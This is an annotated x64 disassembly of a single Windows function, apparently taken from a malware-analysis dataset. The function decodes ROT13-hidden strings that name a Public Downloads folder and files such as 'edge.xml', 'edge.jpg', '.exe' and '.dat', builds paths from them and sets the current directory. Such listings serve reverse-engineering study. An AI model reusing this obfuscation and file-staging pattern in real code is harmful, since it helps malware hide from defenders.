Function at 0x140004430
Capabilities:
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x1100]
mov eax, 0x1200
call fcn.14002cfb0
sub rsp, rax
mov rax, qword [0x140058008]
xor rax, rsp
mov qword [rbp + 0x10f0], rax
mov r15, rcx
xor ecx, ecx
call fcn.140016da0
mov rcx, rax
call fcn.140014924
movzx eax, word [0x140053248]
mov rsi, 0xffffffffffffffff
movups xmm0, xmmword [str.P:HfrefChoyvpQbjaybnqf_]
mov word [rbp + 0xfd8], ax
mov rbx, rsi
movzx eax, byte [0x14005324a]
movups xmmword [rbp + 0xfc0], xmm0
mov byte [rbp + 0xfda], al
lea rax, [rbp + 0xfc0]
movsd xmm0, qword [0x140053240]
movsd qword [rbp + 0xfd0], xmm0
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400044d0
xor edi, edi
mov r14d, edi
lea r12d, [rdi + 0x41]
test rbx, rbx
je 0x140004557
nop word [rax + rax]
movsx ecx, byte [rbp + r14 + 0xfc0]
call fcn.140014b60
test eax, eax
je 0x14000454f
movsx ecx, byte [rbp + r14 + 0xfc0]
call fcn.140014cc0
test eax, eax
mov ecx, 0x61
mov eax, 0x4ec4ec4f
cmovne ecx, r12d
movzx r8d, cl
movsx ecx, byte [rbp + r14 + 0xfc0]
sub ecx, r8d
add ecx, 0xd
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, r8b
mov byte [rbp + r14 + 0xfc0], cl
inc r14
cmp r14, rbx
jb 0x1400044f0
lea r8, [rbp + 0xfc0]
mov edx, 0x104
lea rcx, [rsp + 0x30]
call fcn.1400041b0
lea rcx, [rbp + 0x34]
call fcn.140004210
lea rcx, [rbp + 0x3d]
call fcn.140004210
lea rax, [rbp + 0x3d]
mov edx, 0x104
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
lea rax, [rbp + 0x34]
lea r8, str._s_s_s
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x46]
call fcn.1400041b0
lea rax, [rbp + 0x3d]
mov edx, 0x104
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x30]
lea rax, [rbp + 0x34]
lea r8, str._s_s_s
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x14a]
call fcn.1400041b0
lea rax, [rbp + 0x34]
mov edx, 0x104
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, str._s_s_
lea rcx, [rbp + 0x24e]
call fcn.1400041b0
lea rax, [rbp + 0x34]
mov edx, 0x104
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, str._s_s_
lea rcx, [rbp + 0x352]
call fcn.1400041b0
lea rax, [rbp + 0x34]
mov edx, 0x104
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, str._s_s_
lea rcx, [rbp + 0xfe0]
call fcn.1400041b0
mov eax, dword [str..rkr]
mov r14, rsi
movsd xmm0, qword [str.rqtr.kzy]
mov dword [rbp + 0xf90], eax
movzx eax, byte [0x140053264]
mov byte [rbp + 0xf94], al
mov eax, dword [str..qng]
mov dword [rbp + 0xf98], eax
movzx eax, byte [0x14005326c]
mov byte [rbp + 0xf9c], al
movzx eax, byte [0x140053278]
mov byte [rbp + 0xfa8], al
movzx eax, byte [0x140053288]
movsd qword [rbp + 0xfa0], xmm0
movsd xmm0, qword [str.rqtr.wct]
mov byte [rbp + 0xfb8], al
lea rax, [rbp + 0xf90]
movsd qword [rbp + 0xfb0], xmm0
inc r14
cmp byte [rax + r14], dil
jne 0x1400046c2
mov rbx, rdi
test r14, r14
je 0x140004736
movsx ecx, byte [rbp + rbx + 0xf90]
call fcn.140014b60
test eax, eax
je 0x14000472e
movsx ecx, byte [rbp + rbx + 0xf90]
call fcn.140014cc0
test eax, eax
mov ecx, 0x61
mov eax, 0x4ec4ec4f
cmovne ecx, r12d
movzx r8d, cl
movsx ecx, byte [rbp + rbx + 0xf90]
sub ecx, r8d
add ecx, 0xd
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, r8b
mov byte [rbp + rbx + 0xf90], cl
inc rbx
cmp rbx, r14
jb 0x1400046d3
lea r8, [rbp + 0xf90]
mov edx, 0x104
lea rcx, [rbp + 0x46]
call fcn.140016e14
lea rax, [rbp + 0xf98]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], dil
jne 0x140004755
mov r14, rdi
test rbx, rbx
je 0x1400047d7
nop word [rax + rax]
movsx ecx, byte [rbp + r14 + 0xf98]
call fcn.140014b60
test eax, eax
je 0x1400047cf
movsx ecx, byte [rbp + r14 + 0xf98]
call fcn.140014cc0
test eax, eax
mov ecx, 0x61
mov eax, 0x4ec4ec4f
cmovne ecx, r12d
movzx r8d, cl
movsx ecx, byte [rbp + r14 + 0xf98]
sub ecx, r8d
add ecx, 0xd
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, r8b
mov byte [rbp + r14 + 0xf98], cl
inc r14
cmp r14, rbx
jb 0x140004770
lea r8, [rbp + 0xf98]
mov edx, 0x104
lea rcx, [rbp + 0x14a]
call fcn.140016e14
lea rax, [rbp + 0xfa0]
mov rbx, rsi
nop dword [rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x140004800
mov r14, rdi
test rbx, rbx
je 0x140004878
movsx ecx, byte [rbp + r14 + 0xfa0]
call fcn.140014b60
test eax, eax
je 0x140004870
movsx ecx, byte [rbp + r14 + 0xfa0]
call fcn.140014cc0
test eax, eax
mov ecx, 0x61
mov eax, 0x4ec4ec4f
cmovne ecx, r12d
movzx r8d, cl
movsx ecx, byte [rbp + r14 + 0xfa0]
sub ecx, r8d
add ecx, 0xd
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, r8b
mov byte [rbp + r14 + 0xfa0], cl
inc r14
cmp r14, rbx
jb 0x140004811
lea r8, [rbp + 0xfa0]
mov edx, 0x104
lea rcx, [rbp + 0x24e]
call fcn.140016e14
lea rax, [rbp + 0xfb0]
inc rsi
cmp byte [rax + rsi], dil
jne 0x140004897
test rsi, rsi
je 0x140004913
nop word [rax + rax]
movsx ecx, byte [rbp + rdi + 0xfb0]
call fcn.140014b60
test eax, eax
je 0x14000490b
movsx ecx, byte [rbp + rdi + 0xfb0]
call fcn.140014cc0
test eax, eax
mov ecx, 0x61
mov eax, 0x4ec4ec4f
cmovne ecx, r12d
movzx r8d, cl
movsx ecx, byte [rbp + rdi + 0xfb0]
sub ecx, r8d
add ecx, 0xd
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
add cl, r8b
mov byte [rbp + rdi + 0xfb0], cl
inc rdi
cmp rdi, rsi
jb 0x1400048b0
lea r8, [rbp + 0xfb0]
mov edx, 0x104
lea rcx, [rbp + 0x352]
call fcn.140016e14
lea rcx, [rbp + 0xfe0]
call fcn.140017098
lea rcx, [rsp + 0x30]
test eax, eax
jne 0x140004947
lea rcx, [rbp + 0xfe0]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov r8d, 0x1052
lea rdx, [rsp + 0x30]
mov rcx, r15
call fcn.140011ed0
mov rax, r15
mov rcx, qword [rbp + 0x10f0]
xor rcx, rsp
call fcn.140004fa0
lea r11, [rsp + 0x1200]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret